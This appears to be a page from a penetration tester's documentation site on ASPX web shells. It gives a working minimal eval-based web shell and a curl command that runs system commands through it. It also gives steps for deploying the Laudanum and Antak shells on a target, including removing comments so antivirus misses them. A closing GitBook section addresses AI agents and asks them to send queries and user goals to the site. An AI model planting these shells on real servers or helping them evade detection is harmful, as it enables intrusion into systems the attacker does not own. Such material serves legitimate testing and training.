> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/shells/web-shells/aspx-webshell.md).

# Aspx Webshell

### Minimal .aspx webshell

**Save as spam.aspx**

```aspx
<script language="JScript" runat="server">
function Page_Load(){
eval(Request["shell"],"unsafe");
}
</script>
```

**Upload to Target**

**Interact**

```bash
curl -s -k https://$host/spam.aspx \
  -d 'shell=Response.Write(
    new ActiveXObject("WScript.Shell")
      .Exec("cmd /c whoami")
      .StdOut
      .ReadAll()
);' | head -n 1
```

### **Laudanum ASPX webshell**

```
/usr/share/laudanum/aspx/shell.aspx
```

* Copy the shell to a working directory before modifying:

```bash
cp /usr/share/laudanum/aspx/shell.aspx /home/tester/demo.aspx
```

* Edit `line 59` — add your IP to the `allowedIps` variable
* Remove ASCII art and comments as they are often signatured by AV/defenders
* Upload the modified file to the target web server
* Navigate to the uploaded file in the browser (e.g. `http://target/files/demo.aspx`)
* The shell provides a `cmd /c` prompt to execute commands via the browser

### **Antak**

Antak is an ASP.NET web shell from the [Nishang](https://github.com/samratashok/nishang) project. It provides a PowerShell-themed UI, executes each command as a new process, can encode and execute scripts in memory, upload/download files, and parse `web.config`.

```
/usr/share/nishang/Antak-WebShell/antak.aspx
```

* Copy before modifying:

```bash
cp /usr/share/nishang/Antak-WebShell/antak.aspx /home/tester/Upload.aspx
```

* Edit `line 14` — set a username and password for shell access
* Remove ASCII art and comments to avoid AV signatures
* Upload the modified file to the target web server
* Navigate to the uploaded file in the browser
* Log in with the credentials you set
* Execute PowerShell commands from the shell interface


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://book.ice-wzl.xyz/shells/web-shells/aspx-webshell.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
